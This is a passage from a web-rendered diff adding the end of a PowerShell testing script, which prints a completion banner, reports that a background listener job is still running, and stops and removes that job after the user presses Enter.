Write-Host "." -NoNewline -ForegroundColor Gray
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
Write-Host ""
|
|
110
|
+
Write-Host ""
|
|
111
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
112
|
+
Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
|
|
113
|
+
Write-Host "║ ║" -ForegroundColor Cyan
|
|
114
|
+
Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
|
|
115
|
+
Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
116
|
+
Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
117
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
118
|
+
|
|
119
|
+
Write-Host ""
|
|
120
|
+
Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
|
|
121
|
+
Read-Host
|
|
122
|
+
|
|
123
|
+
# Cleanup
|
|
124
|
+
Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
125
|
+
Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
126
|
+
Write-Host "[✓] Cleanup complete" -ForegroundColor Green
|
|
127
|
+
|